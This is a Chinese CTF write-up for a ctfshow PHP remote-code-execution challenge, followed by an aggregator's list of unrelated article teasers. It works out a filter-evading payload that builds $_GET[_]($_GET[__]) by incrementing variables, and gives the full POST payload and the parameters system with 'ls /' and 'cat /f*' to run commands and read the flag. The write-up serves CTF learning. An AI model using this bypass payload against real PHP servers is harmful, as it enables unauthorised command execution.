ctfshow 每周大挑战 RCE极限挑战 2

news2024/11/13 16:12:18

目录

  • 题目
  • 解题步骤
    • 1.跑一下正则
    • 2.变量自增
    • 3.最终解题payload
  • 一点多余的思考

题目

题目php代码

解题步骤

1.跑一下正则

本着能懒就懒的原则,就不写Python了(提一下这个主要是我一开始想的是写Python呜呜呜),直接写php,还能复制粘贴题目代码里正则表达式的部分,然后从浏览器打开个在线php工具跑一下,得到未过滤的字符有哪几个

<?php
for ($i=32;$i<127;$i++){
    if (!preg_match("/[a-zA-Z0-9@#%^&*:{}\-<\?>\"|`~\\\\]/",chr($i))){
        echo chr($i)." ";
    }
}
?>

找到未过滤的字符
可见,没被过滤的有空格和下面这几个字符:

! $ ’ ( ) + , . / ; = [ ] _

2.变量自增

这里我就直接说要用什么解法吧,这题需要通过变量自增构造出
$GET[_]($_GET[__]);
然后实现命令执行。

一个小小的思考:以后如果再看到$、_、'、+、[]没被过滤,可以考虑用变量自增解题。当然严谨点儿说的话,如果数字0没被过滤,那也可以没有单引号,还是要具体情况具体分析。

在php中,如果$a="A",那么执行$a++后,$a的值是 "B"
浅浅验证一下:
php变量自增
因此,获取一个字母后,通过自增操作即可获得所有字母

那么,如何用题目中没被过滤的字符获得“A”呢?
[]默认表示数组名Array,[]._ 表示数组名Array拼接上字符_,取Array_的第0个位置的元素就是“A”。[1]
[1]参考博客:https://blog.csdn.net/XiaoXiao_RenHe/article/details/130068584
这里我也用在线php工具验证了一下:
给变量赋值为[],得到的输出值是Array
[]的值默认是Array
[]拼接上_再取第0个位置的元素得到A
得到A
不拼接_的话是出不来“A”的
不拼接下划线无法输出“A”
但是,数字被过滤了,怎样得到第0个位置的元素呢?
这里给出两种方法吧。
一是用两个没被过滤的、不同的字符组成布尔表达式作为数组的索引,例如'!'=='+',两个不同的字符当然不相等啦,所以返回值是0;二是用'_'作为数组的索引。下面也贴上验证,总之两种方法都能得到A,忽略这里的报错就好,不影响做题。
0被过滤也可以得到0
既然现在已经得到了A,也已经知道了可以通过自增的方式得到其他的字母,所以接下来就是通过自增构造出GET了,具体过程如下:

$_=[]._;         //$_变量的值是Array_
$_=$_['_'];      //将$_赋值为$_[0],此时$_的值是A
$_++;$_++;$_++;  //$_的值依次自增为B、C、D
$__=++$_;        //++在$_前,可以把$_自增后的值赋给$__,此时$__的值为E,$_的值也是E,而如果写$__=$_++的话,那$__的值就是D了,应该可以看作++在前是先自增再赋值,++在后是先赋值再自增,这里和C语言中“i++与++i的区别”是一样的
$_++;            //$_继续自增为F
$__=++$_.$__;    //$_自增为G,与$__的值E拼接后,再赋给$__,此时$__的值是GE
$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++; //$_的值依次自增为H、I、J、K、L、M、N、O、P、Q、R、S
$_=$__.++$_;     //$_自增为T并拼接到GE的后面,再赋值给$_,此时$_的值为GET
$_='_'.$_;       //在GET的前面拼接一个_,此时$_的值为_GET
$$_[_]($$_[__]); //拼接出$_GET[_]($_GET[__]),get传参的参数名为_和__,如_参数传参为system,__参数传参为ls /,就在eval的括号中拼接出了system('ls /');

3.最终解题payload

所以,解题的payload可以用:
借助HackBar插件,勾选Post data,方框中传post的参数

ctf_show=$_=[]._;$_=$_['_'];$_++;$_++;$_++;$__=++$_;$_++;$__=++$_.$__;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$__=$__.++$_;$_='_'.$__;$$_[_]($$_[__]);

在url传get的参数
?_=system&__=ls /
都填好之后,点击Execute,如图所示,回显了根目录下存在的文件,看到有个f1agaaa:
回显出根目录下的文件
修改get请求的参数为?_=system&__=cat /f*,回显了flag:
回显flag

一点多余的思考

通过学习其他师傅们的wp,能拿到这题的flag后,我开始疑惑,为什么要拼接出两个get呀,直接用一个get接收完整的system()函数不香吗?
于是开始了尝试,去掉一个get,也就是把post的参数最后的$$_[_]($$_[__]);删掉括号和括号里的内容,只留下$$_[_];,url里只传一个get参数_=system('ls /'),结果没有回显,后来又打开了一篇博客(也就是上面提到的参考博客)发现那个师傅也有这个疑问,感觉还蛮巧的。
只用一个get传参无回显
本来觉得就记住一个$_GET[_]不行就好咯,但是最后还是没忍住去请教了大佬……大佬如是说:

$_GET[_]($_GET[__]) 这个形式是把$_GET[_]的值作为函数名,$_GET[__]的值作为参数;
$_GET[_] 并不能执行函数,只是将接收到的值作为字符串处理;
重点是括号,有括号表示是一个函数。

总之呢,就是$_GET[_]是不能执行函数的,这里的括号很关键,大佬还举了一个很棒的栗子:如果是$_GET[_]()的话,可以用?_=phpinfo 执行一个无参的函数。后来我也试了一下确实可以:
有括号可以执行无参函数
以后不能再这么写博客了,实在是太话痨了,一篇博客就要写好久,有点难顶。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/494658.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

C生万物 | 指针入门到进阶就看这篇了【十万字吐血整理,收藏学习】

文章篇幅较长&#xff0c;可前往电脑端进行学习&#x1f4bb; 之前很多粉丝私信我说C语言指针怎么这么难&#xff0c;看了很多视频都学不懂&#xff0c;于是我写了一篇有关指针从入门到进阶的教学&#xff0c;帮助那些对指针很困扰的同学有一个好的学习途径&#xff0c;下面是本…

基于JavaWeb实现的学生宿舍管理系统

【简介】 本系统是基于Java实现的学生宿舍管理系统&#xff0c;前端&#xff1a;Vue&#xff1b;后端&#xff1a;SpringBoot Mybatis Redis Mysql&#xff1b;系统环境&#xff1a;jdk1.8 | mysql | redis | nodejs14。有包含登录在内的十大功能模块&#xff0c;三个访问角…

详解事务模式和 Lua 脚本,带你吃透 Redis 事务

先说结论&#xff1a; Redis 的事务模式具备如下特点&#xff1a; 保证隔离性&#xff1b;无法保证持久性&#xff1b;具备了一定的原子性&#xff0c;但不支持回滚&#xff1b;一致性的概念有分歧&#xff0c;假设在一致性的核心是约束的语意下&#xff0c;Redis 的事务可以…

Vuex从了解到实际运用(一)彻底搞懂什么是Vuex

vuex从了解到实际运用——彻底搞懂什么是vuex 知识回调&#xff08;不懂就看这儿&#xff01;&#xff09;场景复现核心干货什么是vuex全局状态管理使用状态管理工具后的好处vuex的实现原理vuex的组件通信1.多级组件通信2.同级组件通信使用vuex进行组件通信 关于vuex的小结 知识…

总结842

学习目标&#xff1a; 5月&#xff08;张宇强化18讲&#xff0c;背诵25篇短文&#xff0c;熟词僻义300词基础词&#xff09; 每日必复习&#xff08;5分钟&#xff09; 学习内容&#xff1a; 暴力英语:背200个基础词阅读理解前两段语法 高等数学&#xff1a;强化课第一讲 小…

Baumer工业相机堡盟工业相机如何联合BGAPISDK和Halcon实现图像的Pow伽马变换算法增强(C#)

Baumer工业相机堡盟工业相机如何联合BGAPISDK和Halcon实现图像的Pow伽马变换算法增强&#xff08;C#&#xff09; Baumer工业相机Baumer工业相机使用图像算法增加图像的技术背景Baumer工业相机通过BGAPI SDK联合Halcon使用Pow伽马变换增强算法1.引用合适的类文件2.BGAPI SDK在图…

gtest之断言

目录 普通断言EXPECT_THAT 布尔条件断言EXPECT_TRUEEXPECT_FALSE 二进制断言EXPECT_EQEXPECT_NEEXPECT_LTEXPECT_LEEXPECT_GTEXPECT_GE 字符串比较EXPECT_STREQEXPECT_STRNEEXPECT_STRCASEEQEXPECT_STRCASENE 浮点型比较EXPECT_FLOAT_EQEXPECT_DOUBLE_EQEXPECT_NEAR 显式成功与…

k8s基础4——deployment控制器、应用部署、升级、回滚、水平扩容缩容

文章目录 一、基本介绍二、应用程序生命周期2.1 部署应用2.2 应用升级2.2.1 修改YAML文件升级&#xff08;交互式&#xff09;2.2.2 命令指定镜像版本升级&#xff08;免交互式&#xff09;2.2.3 调用vim升级 2.3 滚动升级2.3.1 升级流程 2.4 应用回滚2.4.1 查看历史发布版本2.…

yolov5配置错误记录

这里是直接没有找到数据集&#xff0c;说明是路径错误。经过设置yaml后&#xff0c; # Train/val/test sets as 1) dir: path/to/imgs, 2) file: path/to/imgs.txt, or 3) list: [path/to/imgs1, path/to/imgs2, ..] path: ../autodl-tmp/datasets/neu # dataset root dir tr…

闲鱼/支付宝 自动收货诈骗套路分析

闲鱼/支付宝 自动收货套路分析 他人闲鱼被骗经历 最近发现闲鱼有一种“自动收货”的套路&#xff0c;就是在闲鱼下单后&#xff0c;卖家发一个二维码&#xff0c;称让你支付运费&#xff0c;该二维码以闲鱼之类的logo为诱惑&#xff0c;让你相信是真的运费支付二维码 正如上文知…

Self-Attention结构细节及计算过程

一、结构 上面那个图其实不是那么重要&#xff0c;只要知道将输入的x矩阵转换成三个矩阵进行计算即可。自注意力结构的输入为 输入矩阵的三个变形 Q&#xff08;query矩阵&#xff09;、K&#xff08;key矩阵&#xff09;、V&#xff08;value矩阵&#xff09;构成&#xff0c;…

Java企业级信息系统02—利用组件注解符精简spring配置文件

文章目录 一、学习目标二、打开01的项目三、利用组件注解符精简spring配置文件&#xff08;一&#xff09;创建新包&#xff0c;复制四个类&#xff08;二&#xff09;修改杀龙任务类&#xff08;三&#xff09;修改救美任务类&#xff08;四&#xff09;修改勇敢骑士类&#x…

Mac安装docker

一、docker是什么&#xff1f; 1、Docker的三个基本概念: Image(镜像)Container(容器)Repository(仓库) Docker的思想来自于集装箱&#xff0c;集装箱解决了什么问题&#xff1f; 在一艘大船上&#xff0c;可以把货物规整的摆放起来。并且各种各样的货物被集装箱标准化了&a…

你还不知道啊,iPhone手机恢复出厂设置的那些事!

案例&#xff1a;手机恢复出厂设置 【友友们&#xff0c;苹果手机想要挂闲鱼&#xff0c;里面有很多隐私。想要恢复出厂设置来清除手机数据&#xff0c;该怎么进行&#xff1f;有什么需要注意的吗&#xff1f;】 iPhone手机想要进行二次销售&#xff0c;我们一般都会采取方法来…

[面试题] 判断二维空间中一点是否在旋转矩形内部

[面试题]&#xff1a;判断二维空间中一点是否在旋转矩形内部 参考&#xff1a; 1. 判断点是否在一个矩形内 2. 向量点乘与叉乘的概念及几何意义 3. 向量叉乘 4. 向量叉乘的正负意义 5. 本工程完整代码 题目描述 已知条件&#xff1a;旋转矩形中心center(x,y), 旋转矩形的长…

asp.net基于web的学生选课成绩管理系统86程序

系统使用Visual studio.net2010作为系统开发环境&#xff0c;并采用ASP.NET技术&#xff0c;使用C#语言&#xff0c;以SQL Server为后台数据库。 本系统主要包含了“登录模块”、“系统用户管理模块”、“课程信息管理模块”、“教师信息管理模块”、“班级信息管理模块”、“…

Word控件Spire.Doc 【打印】教程(2):保打印word文档不显示打印处理对话框

Spire.Doc for .NET是一款专门对 Word 文档进行操作的 .NET 类库。在于帮助开发人员无需安装 Microsoft Word情况下&#xff0c;轻松快捷高效地创建、编辑、转换和打印 Microsoft Word 文档。拥有近10年专业开发经验Spire系列办公文档开发工具&#xff0c;专注于创建、编辑、转…

对标世界一流|弹性应对“供应链不确定性常态化” ——快消与重资产行业的经验互鉴

1963年&#xff0c;气象学家洛伦兹提出的“蝴蝶效应”表示&#xff1a;“一只蝴蝶在巴西扇动翅膀&#xff0c;有可能会在美国德克萨斯州引起一场龙卷风”。本文希望通过提供快消行业的先进实践&#xff0c;帮助重资产企业从“蝴蝶扇动翅膀”之前就开始行动&#xff0c;避免“龙…

Design principle: Immutability不可变性与对mutable变量的Synchronization方法

不可变性&#xff08;Immutability&#xff09;在设计模式中是指一个对象在创建后其状态就不能改变。这是一种编程思想和设计原则。在某些情况下&#xff0c;使用不变对象可以带来许多好处&#xff1a; 简化代码 make things very simple&#xff1a;不可变对象在创建后状态不会…

【问题排查篇】一次业务问题对 ES 的 cardinality 原理探究 | 京东云技术团队

作者&#xff1a;京东科技 王长春 业务问题 小编工作中负责业务的一个服务端系统&#xff0c;使用了 Elasticsearch 服务做数据存储&#xff0c;业务运营人员反馈&#xff0c;用户在使用该产品时发现&#xff0c;用户后台统计的订单笔数和导出的订单笔数不一致&#xff01; …